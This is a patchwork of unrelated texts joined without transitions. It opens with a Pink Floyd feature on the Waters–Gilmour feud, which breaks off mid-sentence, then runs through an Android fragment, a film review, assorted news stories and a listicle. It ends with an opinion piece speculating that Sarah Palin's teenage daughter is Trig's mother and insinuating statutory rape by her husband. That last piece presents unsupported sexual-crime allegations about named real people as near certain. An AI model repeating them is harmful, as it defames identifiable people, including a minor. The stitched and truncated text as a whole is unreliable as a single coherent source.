Waters gradually realized the two verses were a requiem for the fragile integrity of the Pink Floyd reign. And yes, tens of thousands of spectators were at that moment crowding arenas to hear a band calling itself Pink Floyd. Yet the most devout fans surely were aware that the whole presentation could not be further in fact or intent from the aims of the idealistic school chums who forged the Pink Floyd Sound. When a title for his bittersweet new song eventually occurred to Roger Waters, it also seemed an apt name for both his latest solo album and the tragic creative destiny that it summarized. "I didn't know what else to call it," he shrugs, "but Amused toDeath."
Among ultra-hard-core Pink Floyd zealots, the period of mourning for the band commenced way back in 1968, when another Roger -- Roger Keith "Syd" Barrett -- was booted from the psychedelic act he'd named. A fellow student of Waters's at Cambridge High School for Boys, Syd Barrett was invited by Roger in late 1965 to join a combo he'd formed with two other architecture majors (Nick Mason, Rick Wright) at London's Regent Street Polytechnic. Spewing barrages of feedback-cum-Chuck Berry chords during Sunday afternoon "Spontaneous Underground" sessions at the fabled Marquee Club, Pink Floyd quickly became the vanguard experimental outfit on the London underground scene. Unfortunately, young Syd too quickly became high-priest-without-portfolio of a surreal strain of hallucinogen-fueled rock songcraft, whose halcyon era was as hazy as his own cerebellum. While still sufficiently grounded as of January 1967 to author Pink Floyd's first British hit, "Arnold Layne," Barrett soon tired of the rigors of reality. He was halfway to the laughing house when The Piper At The Gates Of Dawn, the debut Floyd LP, emerged from Abbey Road Studios in August 1967.
Cambridge High School alumnus' Dave Gilmour, fresh from gigs as a male model in France, was brought on board in February 1968, to serve as backup guitarist and vocalist for the dangerously balmy Barrett. When too many visits to the popstar pharmacy paved the way for Syd's inevitable on-tour mental collapse, Gilmour got the nod as new guitar hero. Waters, Gilmour, and Rick Wright went on to assist Barrett in two loopy solo LPs ( The Madcap Laughs ; Barrett ), and then Syd retired to his mum's house to preserve his premier rank as acid-fried rock savant.
With Gilmour the appointed front man, Waters gripped Floyd's artistic reins and steered them into years of exotic progressive-rock reveries. The electronics-drenched albums had titles like A Saucerful of Secrets ; Ummagumma ; Atom Heart Mother ; Meddle. And the spacey songs followed suit: "Set The Controls For The Heart Of The Sun" and "Astronome Domine." The band also provided soundtrack scores for a few of the more outre' late sixties, early seventies art movies, notably "More" and Michelangelo Antonioni's daffily desolate "Zabriske Point"(1970) in which the Floyd song "Careful With That Axe, Eugene" soared over the closing sequence of desert explosions.
The Pink Floyd stage productions of the era were the forerunners of the modern rock extravaganza, featuring elaborate special effects and one of rock's inaugural light shows, plus protracted instrumental suites served up via a remarkable 360-degree sound system called the Azimuth Coordinator. At one UK concert, a 50-foot inflatable octopus rose from an adjacent pond during a climactic number, the Floyd playing so loudly the decibel level actually decimated the real aquatic life in the water. For all its bizarre overkill, the Floyd had no impact on the American market until 1972's Obscured By Clouds was embraced by FM radio. From there it was a short step to a commercial blast-off courtesy The Dark Side Of The Moon, with its immaculate instrumentation, ominous phonic mumbles, and jarring sound effects (ticking clocks, ringing cash registers). Each band member contributed something to the mix of 'Dark Side', but lyrically, musically, and conceptually it was Roger Waters's coming out party. While the rest of the group basked in the glow of their abrupt mass acceptance, Waters busily exorcised his ingrained demons, expounding throughout Wish You Were Here (1975, dedicated to Syd Barrett), Animals (1977), The Wall (1979) and The Final Cut (1983), on gloomy human themes rooted in grief for his airman father's World War II death.
"My father was a schoolteacher before the war," Waters explains evenly. "He taught physical education and religious instruction, strangely enough. He was a deeply committed Christian who was killed when I was three months old. A wrenching waste. I concede that awful loss has colored much of my writing and my worldview."
It has also shaped Waters's intense sense of protectiveness toward Pink Floyd's recording heritage, since it encompasses major developmental horrors in his life -- whether they involved coping with the death of the dad he never knew, or the psychic dissolution of adolescent companion Syd Barrett. "Syd and I went through our most formative years together," Waters shyly admits, "riding on my motorbike, getting drunk, doing a little dope, flirting with girls, all that basic stuff. I still consider Syd a great primary inspiration; there was a wonderful human tenderness to all his unique musical flights."
From his alternately slack and hypertense body language to the crackling clarity of his discourse, Roger Waters, 44, is the epitome of the overly bright man for whom intellect, self-awareness, and social conscience are a decidedly mixed blessing. The hardness of his chiseled visage and flinty gaze are leavened, however, by the disarming vulnerability of his nature.
"There's something to be said for disastrous business miscalculation and failure in the marketplace," he says with a hapless chuckle. "They send you back home to ponder your value systems, and at the same time they reward you with a new freedom to follow your creative heart without worrying about commercial tyrannies. I've also discovered that the law is not so much interested in moral issues as the cold factors of ownership, treating the name Pink Floyd as if it were McDonald's or Boeing! On a personal level, I have nothing against Dave Gilmour furthering his own goals. It's just the idea of Dave's solo career masquerading as Pink Floyd that offends me!"
Gilmour is the polar opposite of his adversary in both appearance and opinion. Round-faced, smiling, with a teddy-bear torso, he projects amicability and approachability -- until his darting eyes sense weakness in their vicinity. At which point, the smile turns to a fixed leer and a fabled sarcasm spills forth.
"I don't share Roger's sense of angst about music and the world," he banters scornfully, speaking at dusk in a Providence, Rhode Island, hotel room shortly before another concert stand. "If I did, maybe we would have come to an agreement on our dispute. While Roger's acted dumbly and isolated himself, I've discovered new strength with the extra work load I've had to put on myself in this last year. But like him, I did several solo LPs myself and made no demands on anyone when I did. Granted, I did less work with Pink Floyd back in the old days, but that was something Roger was forcing. And now," Gilmour adds with glee, "the poor chap's lost his whip hand!"
Perhaps. But David Gilmour is singing a vastly different tune than he did back when his solo future seemed brighter. "Roger comes up with the concepts -- he's the preacher of the group and spends more time home writing with Pink Floyd in mind,"a breezy Gilmour told 'Rolling Stone' in 1978, as his David Gilmour album was being issued. "We get along fine. I know what I give to our sound, and he knows it, too. It's not a question of him forcing his ideas on us. I get my ideas across as much as I want to. They would use more of my music if I wrote it."
Gilmour took an aggressive stab at writing his own music for his David Gilmour and 1984 About Face collections, but it appears that only Pink Floyd cultists bought them. It was after his second solo album that he began to press the Pink ploy. "From there, the story takes a sordid turn," claims Waters, "and after long thought on this mess and the mountain of falsehood that this scheming bunch has created, I'm now going to divulge the cold, hard, indisputable facts. Please do feel free to go back to any of the parties mentioned about their side of the story. I think you'll stop them dead in their sneaky tracks."
The first bombshell Waters drops is that Bob Ezrin, who served as coproducer on The Wall as well as A Momentary Lapse of Reason, was originally supposed to produce Radio KAOS.
"That's right," Waters says with a grim nod. "We met in New York City in February of 1986. This was after Gilmour had been spouting for a year about how wise it would be to get Pink Floyd back together in any passable form -- with me always refusing that scam. So I see Ezrin for a two-day meeting and give him cassettes of the 'KAOS' material I'm working on. He said he was interested in doing the record. We shook on the 'KAOS' agreement, and we agreed to start work in England on April 16 of 1986."
"I couldn't reach him," says Waters. "Then, exactly ten days before my first scheduled 'KAOS' session in England, I manage to catch him at home in the wee hours of the morning. He picks up the phone, is startled to find it's me on the other end, and he blurts out, `My wife says she'll divorce me if I go work in England!' I was stunned. I said, `Couldn't you have told me that three months ago?' I'm in a state of shock, and the minute I put the phone down after the conversation, my wife Carolyn says to me, `I'll bet he's going to do that pseudo-Pink Floyd record David wants' All I could reply was, `I can't believe he'd do that. I discovered exactly one week later," Waters says, "that he had indeed been hired to do a Pink Floyd record."
"I was in Los Angeles in the midst of a Rod Stewart album when Roger called from London in February of '86, and I set two days aside at Roger's insistence and we met each other halfway, both of us flying to New York to talk about 'KAOS.' At the time I met with Roger, I said I wanted to do the album, but I had an instinctive sense that he was being too rigid and intense in his attitudes about the project. And believe me, I know how rigid Roger can get from doing The Wall with him. See, Roger was completely inflexible about when and where he wanted to do 'KAOS.' I have five kids, and he was wanting to move my whole family to England for a minimum of three months. My wife was against it because she felt it would disrupt our children's school schedule. And so after I thought it through, I exercised my right as a potential employee of Roger's to decline. It was a full month afterward," Ezrin proclaims, "that I was approached by Dave Gilmour about producing a Pink Floyd project. I hadn't been in touch with Dave since producing his About Face album."
So why, after rejecting a three-month Waters-related stay in England for the good of his family, did Ezrin wind up spending almost seven months in London recording A Momentary Lapse ofReason with Gilmour? There, a long pause.
"Dave didn't demand things like Roger did," Ezrin finally replies. "While Roger was thinking only of his family's schedule, Dave was willing to work out a more flexible calendar plan that would accomodate the school schedules of both our sets of kids. Also, Dave flew to LA to hang out and play his work tapes -- rather than insisting that I go to him."
Ezrin's disclaimers sound peculiarly prissy coming from an itinerant veteran whose studio dance card has regularly included heavy-metal hell-raisers like Alice Cooper and Kiss. However, giving him the benefit of the doubt, we move on to the artistic integrity of 'Lapse of Reason.' Roger Waters's outspoken ire, you'll recall, was triggered by Gilmour's assertion to 'Rolling Stone' that "we never sat down at any point during this record and said, 'It doesn't sound Floyd enough. Make this more Floyd.'" On the contrary, according to Waters, it was Bob Ezrin who rang just such an alarm at the halfway mark in the 'Lapse' sessions.
"After four to five months of constant work with Gilmour and company," says Roger, "Bob spoke to Michael Kamen, who did orchestral arrangements on The Wall and also co-produced my first solo album, The Pros and Cons of Hitchhiking. Bob told him the tracks were 'an absolute disaster, with no words, no heart, no continuity.'"
"Ezrin was so depressed," says Waters, "he took a cassette copy of the tapes home to his house in Encino, where his teenage son Josh discovered it and played it with his friend. Both of the kids got angry, and Josh told Ezrin, 'Dad, it's not Pink Floyd!'
"What happened next," says Waters, gathering steam, "was that Bob Ezrin, David Gilmour, and CBS Records executive Stephen Ralbovsky had a confidential lunch meeting at Langan's Brasserie, the famous London bistro in Hampton Court, in October or November of '86, wherein both Ezrin and Ralbovsky told Gilmour, 'This music doesn't sound a fucking thing like Pink Floyd!' And according to what Dave told me, they had spent $1.2 million on it!"
"Oh, my gosh!" gasps Ezrin in dismay. Then, in a quavery tone: "How Roger could have known that we all had that meeting is remarkable to me! Okay, fair enough; the point of the meeting was for me to tell David that what he had thus far was not up to Pink Floyd standards. Wait a minute, let me rephrase that: I said it was not up to our standard of a Pink Floyd project, and that we should start over again. And David was open and willing to do that. But the fact, amazingly, that Roger has become a detective to learn about that meeting says to me that this thing has become...er, it's gone too far past, er...It's not about the music anymore! It's about the simple'making' of the 'Lapse of Reason' record -- as well as the fact that Roger's not on it."
Precisely. Roger Waters's most vociferous charge has always been that the intention on the part of Gilmour, Ezrin, et al., was never to create music that succeeded on its own terms, but instead, from the corporate estimation on down, to endeavor to fake the Pink Floyd Sound. Right? Another uncomfortable pause.
"Well," Ezrin murmurs, "I won't tell you that there weren't times when I didn't say to David or David didn't say to me, 'This would be easier if Roger were here,' or 'Roger would know what to do,' or 'Roger could give us that flavor.' But both David and I knew that that would mean contending with the rigid, intense, obsessive, and artistic Roger -- which we didn't want."
And which Roger had closed the door on anyway. "Er,...yes. So we had no choice but to go our own route and start over -- and we did." Which brings us to the question of exactly whose fingerprints are on (and not on) the version of A Momentary Lapse of Reason that reached the marketplace. Scanning the fine print on the inside of the expensive gatefold album jacket, one discovers -- in addition to Gilmour, Nick Mason, Rick Wright, and Bob Ezrin -- a guest list of 15 noted session musicians. No less than 18 more musicians and technical experts are acknowledged and thanked in the sub-fine print. And the songwriters tucked away on the record's label |
me if the live boot version of Remix for PCs was ready by the end of the year, complete with a permanent installation and/or dual boot option. The prospects of this desktop-tuned version of Android and relatively powerful hardware are exciting, to say the least. A more finished version of Remix would make an excellent pair with something like the x86-powered "PC sticks" that have become popular lately.
Right now Remix is a curiosity, something for Android enthusiasts and developers to try out. And to Jide's credit, they aren't claiming anything more than that at present. But give it some time, and we might see something quite special come out of this project... especially if developers begin to create true desktop programs for Android in the hopes that they're used on Remix. The fact that Jide plans to license its version of Android for free doesn't hurt in that regard.Whereas some filmmakers try to put humanity’s best foot forward, Belgian director Fabrice Du Welz finds hearts of darkness wherever he looks: an off-the-path country inn (“Calvaire”), the shadowy fringes of post-tsunami Thailand (“Vinyan”), the dark recesses of a homicidal couple’s dysfunctional romance (“Alleluia”). In “Message from the King,” Du Welz turns his lens on Los Angeles, and instead of palm trees and sunshine, he sees rainstorms and unsettled scores — inventions of “Unknown” screenwriters Oliver Butcher and Stephen Cornwell, whose ugly and oddly unengaging revenge tale takes the trouble to name its otherwise identity-less vigilante, Jacob King (Chadwick Boseman), if only to justify a title far more stylish than anything it describes.
“The King” in this case is an ambiguous South African visitor — “I have no intention of working or staying,” he tells the customs officers at the U.S. border — who hides his unnervingly violent potential behind a stoically handsome expression. If he really cared about his younger sister, instead of waiting till she’d been killed to travel to Los Angeles, he might have taken the time to call and ask for details about her life. In that case, he might have spared himself much of the draggy detective work that awaits him when he finally flies to Southern California to investigate her disappearance.
It’s not until a local Korean grocer suggests he check the morgue that King discovers her corpse, its skull crushed in, one foot missing, or that he goes about the business of tracking down her killers — and trying to locate her “boy” Armand (Diego Josef). The missing kid is technically the son of her deadbeat drug-dealing boyfriend, and his salvation — from a posh Hollywood home teeming with grotesque, predatory gay stereotypes — is really the only think King can hope to achieve at this point. Not that King ever has much to say, rivaling Jason Bourne when it comes to terse, “punch first, ask questions later” department.
After a first meeting with a group of Eastern European thugs goes nowhere, King stops into a store, buy a bicycle chain, and wraps it around his fist, using the makeshift weapon to send his “message” to one of the goons. Du Welz shoots and edits King’s violent explosions in such an incoherent jumble that they hardly qualify as action scenes, though he’s careful to detail the consequences of such run-ins — as when the director catches up with that henchman again later on, his broken jaw now held together by a plastic brace.
While not as nihilistic as “Chinatown,” the film falls squarely into a clichéd, post-film-noir vision of Los Angeles, as seen in such So-Cal vigilante tales as “Hardcore” and “The Limey” (though this one pays less attention to the city’s unique geography or surroundings). While King may have been conceived as one of those mysterious, duty-bound avenging angels who appears in order to deliver a reckoning, it’s not so easy to root for such a character when you know nothing about him or the dead woman he’s trying to honor.
Instead, we actually discover more about his adversaries, including the suave yet sociopathic dentist Paul Wentworth (Luke Evans) and Hollywood producer Mike Preston (Alfred Molina), whose tastes are so perverse he’s willing to pay off or snuff out anyone who uncovers them. Like this year’s more entertaining “War on Everyone,” Du Welz plunges us into dark territory indeed, though minus the wit or wordplay, it’s a dark and all-around unpleasant journey to take.
And just what is the King’s message anyway? Cops, when they appear, are corrupt would-be killers. Same goes for the sleazy politician (Chris Mulkey) who can make people disappear with a golden handshake. Here, in the city of dreams — rendered gritty and impossible to pin down by DP Monika Lenczewska’s high-contrast cinematography — souls are sold and devil’s bargains are a daily occurrence. It takes an outsider like King to cut through the corruption, even if his methods (which include shacking up with a pretty hooker, played by Teresa Palmer, and using everything from baseball bats to pipe bombs to make his point) are far too disorganized to provide the usual satisfaction of watching a plan come to fruition. He’s out-manned, out of his element, and quite possibly out of his mind, and once the dust settles, the only message to speak of was: Don’t mess with the King.When we remember our past selves, they seem quite different. We know how much our personalities and tastes have changed over the years. But when we look ahead, somehow we expect ourselves to stay the same, a team of psychologists said Thursday, describing research they conducted of people’s self-perceptions.
They called this phenomenon the “end of history illusion,” in which people tend to “underestimate how much they will change in the future.” According to their research, which involved more than 19,000 people ages 18 to 68, the illusion persists from teenage years into retirement.
“Middle-aged people — like me — often look back on our teenage selves with some mixture of amusement and chagrin,” said one of the authors, Daniel T. Gilbert, a psychologist at Harvard. “What we never seem to realize is that our future selves will look back and think the very same thing about us. At every age we think we’re having the last laugh, and at every age we’re wrong.”
Other psychologists said they were intrigued by the findings, published Thursday in the journal Science, and were impressed with the amount of supporting evidence. Participants were asked about their personality traits and preferences — their favorite foods, vacations, hobbies and bands — in years past and present, and then asked to make predictions for the future. Not surprisingly, the younger people in the study reported more change in the previous decade than did the older respondents.Saudi Arabian diplomats and military officials refused to meet with a bipartisan delegation of senior congressional staffers who visited the Middle Eastern country last week, an unusual snub that suggests increased tension between the U.S. and a key ally.
"Everyone on the trip definitely took it as a snub," one of the staffers who went on the trip, speaking on condition of anonymity, told the Washington Examiner. The delegation was comprised of "high level" staff from three House committees: Intelligence, Homeland Security, and Armed Services.
The staffer said that the delegation asked to meet with representatives of Saudi Arabia's Foreign Affairs Ministry and Defense Ministry during the weeklong trip, but the Saudis denied both requests. The rejection is especially unusual because the Saudis paid for the delegation's visit, but did not allow them to talk to their most natural counterparts in the Saudi Arabian government. The aide, who has visited the country multiple times on such delegations, said every previous trip featured a meeting with at least one of the two ministries.
The snub stems from Saudi anger over what they see as President Obama's weak response to the Syrian civil war and U.S. attempts to get a nuclear deal with Iran, according to the staffer. The Iranian negotiations are most troubling to the Saudis, according to the aide, saying they think Obama is being "shortsighted" in his strategy for preventing Iran from getting a nuclear weapon.
Gulf Arab states have been watching with grave concern Obama's hopes to negotiate an end to Iran's nuclear program, even as the regime gets closer to obtaining a weapon. Many, especially Saudi Arabia, see Iran's ambitions as an existential threat.
“Tehran has made technical progress in a number of areas -- including uranium enrichment, nuclear reactors, and ballistic missiles -- from which it could draw if it decided to build missile-deliverable nuclear weapons,” James Clapper, the director of National Intelligence, wrote in a report on global threats delivered Wednesday to the Senate Intelligence Committee. “These technical advancements strengthen our assessment that Iran has the scientific, technical, and industrial capacity to eventually produce nuclear weapons. This makes the central issue its political will to do so.”The Best States to Live in Financially
Ranking the best states to live in can often lead to drawn out, subjective conclusions. It’s been done before in many different ways, and everyone likes to see their state on top. But when it comes to the best states to live in financially, MoneyRates delivered with some of the best cut-and-dry data.
5 financial factors were evaluated to rank the best and worst states to live in. These factors included average income, state tax rate, unemployment rate, work incident rate, and the cost of living index. Financial data changes a lot, but are you in any of the best states to live in for 2015?
It’s hard to argue against Texas ranking number 1 on this list. They’re emerging as tech industry leaders and they don’t even have to pay income taxes. What a deal! Are we a little biased since we do the majority of our work in Texas and Michigan? Possibly, but numbers don’t lie!
No one can take away the beauty of Hawaii and California, but those cost of living indexes are through the roof! That being said, if these are among the worst states to make a living, we’re not doing all that bad. Just five years ago, the overall unemployment rate was closer to 10%.
Whether your state ranks among the best, worst, or somewhere in between, sometimes it just comes down to personal preference. If you can live with a high cost of living index or a salary the dips below the national average, then you probably don’t have to be part of the best states to live in to live a financially happy life. That’s my opinion. What do you think?As GOP nominee Donald Trump grabs daily headlines with his controversial tweets, Twitter may be the social media platform getting the most buzz this election season. But there is another popular social media website that is spreading the conversation about the candidates in ways 140 characters struggle to achieve: through the force of user-generated news links and forums.
Reddit, or "the front page of the internet," as the website describes itself, has become a bastion of cute kitten memes, movie trailers, TIL (Today I Learned) posts and political discussion for those fed up with established media organizations controlling the conversation. With 234 million unique users and 8 billion page views a month, Reddit is the ninth largest website in the U.S., according to its advertising page.
That's a large chunk of people, and supporters of presidential candidates have begun to gather there. None are more notable than the Bernie Sanders faithful, who at the end of the Vermont senator's run for the Democratic nomination had gathered over 225,000 subscribed members on the r/SandersForPresident topic forum (known as a subreddit) and millions of page views per month. As one of the largest 200 subreddits on the website, r/SandersForPresident was filled with pro-Sanders content, including news articles and personal notes about the progressive darling, links to campaign resources, conspiracy theories about his Democratic rival Hillary Clinton and even fundraiser links (which earned the Sanders cause nearly $3 million in contributions). It also helped spawn the "Bernie Bro" movement, a group of passionate male Sanders supporters who trashed Clinton in crude ways.
But that all changed last month during the Democratic Convention when Sanders solidified his endorsement of Clinton as the nominee, and the subreddit backing his campaign was shut down, much to the chagrin of its subscribers.
In the aftermath of the shut down, at least one of the subreddits dedicated to a remaining candidate is attempting to pick up these abandoned redditers looking for a new home and who want something a little more focused than the r/politics subreddit (over 3 million subscribers).
"We are actively campaigning on Reddit to get the attention of rightly disgruntled Bernie fans," rynchpln (screen name), a moderator for the main subreddit supporting Green Party nominee Jill Stein (r/jillstein), told the Washington Examiner. After Clinton's nomination, rynchpln added, their subreddit saw "a large growth in followers." Though none of Stein moderators are operatives in Stein's camp, their outreach campaign mirrors that of Stein, who has advertised herself to Sanders supporters as a progressive alternative.
But, rynchpln continued, "unfortunately it is not nearly the movement that Bernie had."
While Stein subreddit moderators told the Examiner that their forum grew by over 10,000 subscribers since Sanders endorsed Clinton, the subreddit has only reached just over 12,500 subscribers as of press time — a fraction of what the Sanders' subreddit had accumulated.
The largest candidate subreddit behind that of Sanders' is the one rooting for Donald Trump (r/The_Donald), which has nearly 200,000 subscribers.
A moderator for r/The_Donald told the Examiner that his subreddit is not actively reaching out to Sanders supporters because it "doesn't believe in pandering." Instead, user TehDonald said that Trump's presence on Reddit "has a huge influence on the Millennial generation," which is the very same large bloc of voters who helped fuel Sanders' longshot campaign into competitive form. r/The_Donald gets up to 40 million pageviews a month, TehDonald added.
The next largest subreddit is the one boosting the Democratic nominee (r/HillaryClinton), which has 25,000 subscribers, an eighth of the size of r/The_Donald. When asked whether the subreddit was trying to attract Sanders supporters to bolster its numbers, a moderator refused to answer. "There is no way we will have a win with this," the moderator said in reply to the Examiner's original questions.
Moderator backpackwayne did say, in response to a followup series of questioning, that the r/HillaryClinton subreddit sets itself apart from the others because the moderators "work hard to keep the discussions provocative and informative."
"We shy away from the mudslinging and name calling that contribute nothing to the debate. It isn't always perfect, but the results are a better understanding of the issues that are important to us all," backpackwayne said.
Though many of the moderators try to maintain a civil environment where supporters, or prospective supporters, can engage in discussions about policy and politics, the endgame is to rally support. The official campaigns, however, have little-to-no interaction with the friendly grassroots Reddit operations.
Of the subreddits backing the two major party candidates, and those behind Stein and Libertarian nominee Gary Johnson, only Johnson's subreddit (r/GaryJohnson, with about 17,500 users) has one moderator who is attached to his campaign. This stands in contrast the Sanders' subreddit, which was run by Aidan King, who was a campaign staffer for Sanders.
King explained that he chose to close the subreddit because of death threats against Sanders and "trollish" behavior by users in the weeks leading up to the convention.
Even with the vitriolic environment that spelled doom for the popular r/SandersforPresident subreddit, the moderators for the remaining competing forums see continued value in Reddit as the election season marches on to November.
Similar to the Sanders subreddit's fundraising efforts, moderators for the Clinton subreddit have requested a fundraising link from the Clinton campaign, while the Trump subreddit has placed a fundraising "sticky" on its page.
More than gathering donations, the moderators say that Reddit offers a level of outreach that other types of social media struggle to compete with.
"Our presence on reddit has a huge influence on the Millennial generation," said TehDonald.
"Reddit is unique as it provides some of the best in-depth conversations of any website out there," said backpackwayne. "The subreddit systems is particularly useful as it allows every approach on every issue there is. In today's world, one can no longer depend on any one source. Reddit is clearly one of the best places on the internet to gather information from all sides."Centipedes, those many-legged creatures that startle us in our homes and gardens, have been genetically sequenced for the first time. In a new study in the journal PLoS Biology, an international team of over 100 scientists today reveals how this humble arthropod's DNA gave them new insight into how life developed on our planet.
Centipedes are members of the arthropods, a group with numerous species including insects, spiders and other animals. Until now, the only class of arthropods not represented by a sequenced genome was the myriapods, which include centipedes and millipedes. For this study, the researchers sequenced the genome of the centipede Strigamia maritima, because its primitive features can help us understand more complex arthropods.
According to Prof. Ariel Chipman, senior co-author of the study and project leader at the Hebrew University of Jerusalem's Alexander Silberman Institute of Life Science, the genetic data reveal how creatures transitioned from their original dwelling-place in the sea to living on land.
"The use of different evolutionary solutions to similar problems shows that myriapods and insects adapted to dry land independently of each other," said Chipman. "For example, comparing the centipede and insect genomes shows that they independently evolved different solutions to the same problem shared by all land-dwelling creatures -- that of living in dry air."
According to Chipman, the study found that despite being closely related to insects, the centipede lacks the olfactory gene family used by insects to smell the air, and thus developed its own air-sniffing ability by expanding other gene families not present in insects.
In addition, Chipman said, this specific group of centipedes live underground and have lost their eyes, together with almost all vision genes and genes involved in the body's internal clock. They maintain enhanced sensory capabilities enabling them to recognize their environment and capture prey.
Published in the latest edition of PLoS Biology, the research is a collaborative effort by over 100 scientists from 50 institutions. Thousands of human-hours went into looking at specific genes in the centipede genome, with each researcher looking at a limited set of genes or at specific structural characteristics to address specific questions.
Other leaders of the international research effort include Dr. Stephen Richards, Baylor College of Medicine; Dr. David Ferrier, University of St. Andrews; and Prof. Michael Akam of Cambridge University. The research paper is titled "The First Myriapod Genome Sequence Reveals Conservative Arthropod Gene Content and Genome Organisation in the Centipede Strigamia maritima."
While early studies of genomics focused on humans, as sequencing equipment and expertise became more readily available, researchers expanded into animals directly relevant to human wellbeing. In the latest research, genomic sequencing has become more broad-based, investigating the workings of the world around us.
In explaining the purpose of the research, Hebrew University's Chipman said: "If we have a better understanding of the biological world around us, how it operates, and how it came to be as it is, we will ultimately have a better understanding of ourselves."
According to Chipman, the research will have applications for other researchers ranging from conservation to dealing with crop pests.MOSCOW (Reuters) - Once as highly regarded as cosmonauts, ballerinas and nuclear scientists, Russian circus stars have wowed generations.
Princess Stephanie of Monaco poses with members of Mayarov and Nikulin circus companies ahead of the opening of the 33nd International Circus Festival of Monte Carlo in Monaco, January 11, 2009. REUTERS/Jean-Pierre Amet
But the lure of high-wire acts, slapstick clowns, lion tamers, dancing elephants and exotic beasts for modern audiences is being eclipsed by the trend-setting innovations of the Cirque du Soleil.
Behind the scenes at Moscow’s Nikulin Circus, spinning acrobats and a juggler on a unicycle practice amid a cacophony of music and raised voices. A big grey elephant calmly awaits a turn in the ring. The stench of the menagerie is overpowering.
“It’s getting harder to impress people,” complained Yulia Silantyeva, a big cat trainer, who comes from a large family of big top performers. “It (the Russian circus) is losing its strong standing.”
Under the Soviet Union, Russian circuses held a stature on a par with its globally renowned opera and ballet, touring internationally and boasting of visits from the Russian elite, including Soviet leader Leonid Brezhnev, whose daughter ran off with a circus acrobat at 22.
“Brezhnev was the country’s last leader to visit the circus... This is not the attitude the circus deserves,” said circus manager Maxim Nikulin, who followed in the footsteps of his father, Yuri, a beloved and world-renowned clown and actor whose portrait graces a Russian stamp.
As prestige has faded and state support dried up, the best performers have moved abroad, in a run on talent akin to the so-called brain-drain of scientists and engineers who have also deserted mother Russia.
Many performers have defected to the Montreal-based Cirque du Soleil — the new gold standard in acrobatic arts.
Russians now make up about 35 percent of the Cirque du Soleil’s 1,200-person crew of artists. Talent from other post-Soviet states also make up much of its troupe.
MY DREAM
Russian acrobat Ruslan Yakimolin, dressed in a unitard during a rehearsal for one of the Cirque’s shows, trained at the Moscow Circus but said he had not a moment’s hesitation when le Cirque invited him to move to Canada two years ago.
“It was always my dream to join the Cirque du Soleil, they invited me and now I’m here,” Yakimolin said, catching his breath following a series of daring somersaults.
The 27-year-old Cirque du Soleil came to Moscow with its first show just three years ago, but already Russia is its fastest-growing market.
The mega circus is two weeks away from launching its most expensive production ever, a $57-million extravaganza entitled Zarkana, at Moscow’s Kremlin Palace.
The venue itself is monumental: Built on the orders of Soviet leader Nikita Khrushchev and used for Communist party congresses, it is a 6,000-seat theater inside the Kremlin walls.
Zarkana will command the space for more than three months — much longer than most typical theater and dance shows.
“We have had four shows in Moscow in 27 months, that’s the quickest expansion of Cirque du Soleil anywhere in the world in the last 10 years,” Craig Cohon, co-founder of Cirque du Soleil in Russia, told a press conference Wednesday.
“There is a huge opportunity here,” he said.
The outfit, founded by former circus performer turned billionaire and space tourist Guy Laliberte, is expected to decide in April whether to open a permanent show in Moscow.
But Cohon rejects suggestions that Cirque du Soleil is stealing viewers away from the traditional Russia circus — not least because tickets to its show are four times as costly as Nikulin’s performances, whose cheapest tickets go for $13.
“It’s a completely different type of entertainment,” he said.
Despite the richness and special effects of the Cirque’s luxurious adult shows, Nikulin’s performers say animals, clowns and other traditional acts will continue to have the power to captivate children.
“Cirque du Soleil clearly attracts the best talents from the local circuses and many leave,” said Silantyeva, whose boyfriend has been recruited to the Cirque du Soleil.
“But the Russian circus, Russian animals, Russian clowns remain. They are something viewers are used to and what our circus is world-renowned for.”NEW YORK (Reuters) - A JetBlue airline passenger, who media outlets and a witness described as making angry remarks at the sight of Ivanka Trump on his flight, was removed from the plane on Thursday by the airline.
Ivanka Trump, daughter of Republican presidential nominee Donald Trump, speaks at a campaign event in Aston, Pennsylvania, U.S., September 13, 2016. REUTERS/Mike Segar
JetBlue Airways Corp (JBLU.O) confirmed in a statement that a passenger had been removed from a flight set to depart from New York’s John F. Kennedy International Airport, bound for San Francisco, but provided no other information about the incident.
Another passenger on the flight, Marc Scheff, said that, when the man saw U.S. President-elect Donald Trump’s daughter Ivanka, he “did a double take and said ‘Oh my God. This is a nightmare!’”
JetBlue said in a statement: “The decision to remove a customer from a flight is not taken lightly. In this instance, our team worked to re-accommodate the party on the next available flight.”
Reuters was not able to identify the passenger who was removed. Matthew Lasner, a Twitter user cited by TMZ, said his husband was going to confront Ivanka Trump and her husband, Jared Kushner, at the airport.
“Ivanka and Jared at JFK T5, flying commercial,” Matthew Lasner (@mattlasner) wrote in a tweet, which has since been deleted. “My husband chasing them down to harass them. #banalityofevil.”
Lasner, a professor at New York’s Hunter College, did not respond to requests for comment directed to his Twitter account, which has since been taken offline, or to messages left at his office or sent to his Facebook account.
“To do that to a woman who was on there with her children, I don’t care what your political background is or what your thoughts are, that’s not the way we as Americans need to act,” Trump spokesman Sean Spicer said on Fox News.
Scheff, 40, who told Reuters he was sitting in the row in front of Ivanka Trump on the flight, said the passenger who was later removed from the flight “started shaking.”
He said that after JetBlue staff approached the man to “make sure he was calm,” the passenger said: “They ruin our country, now try (to) ruin our flight!”
Scheff said the passenger was “clearly agitated” but did not “scream or yell.”
Ivanka Trump was en route to Hawaii for a vacation with her family, according to ABC News.
Donald Trump and his family are spending the Christmas holidays at his resort in Palm Beach, Florida.- Advertisement -
Ordinarily, I would not pry into a family’s business. So why should anyone care whether new vice presidential candidate, Sarah Palin, is the mother of Trig, or her 16 year old daughter is? The answer is – blackmail by foreign powers at the level of the Oval Office. Such a prize has never before been available to our opponents, and we cannot allow it to occur now.
If Sarah Palin’s minor daughter is the mother of Trig as appears near certainty, then depending on the paternity of the child, Trig may be a smoking gun for a major felony compounded by felonies to cover up. There are several motives that could drive Governor Palin to cover up her daughter’s pregnancy. Some motives are benign, but others are extremely powerful motivators, and the more Sarah appears to cover up, the higher the probability she is motivated by something serious.
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If Sarah’s daughter got pregnant by a boy in her age group and the doctor said the baby had Down’s syndrome, Sarah could take the baby to spare her daughter that task, and to spare herself the political embarrassment of a daughter with an out of wedlock child. Neither I, nor most sensible people would think this wrong.
If her daughter got pregnant by a young man known to the family who would face a statutory rape charge, Sarah could take the baby as hers to protect her daughter that pain and the young man prison, because if the baby is Sarah's, no DA can order a test of paternity. This is also understandable, and many people with humanity would do the same.
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If the girl got pregnant by Sarah’s husband while he was drunk and Sarah was busy eclipsing him in her governorship, her husband would face statutory rape with special conditions while Sarah would face career ruin, family destruction and a financial trainwreck. Note that heavy drinking and marital isues are two of the three major correlates of what therapists will tell you is a very common family incident.
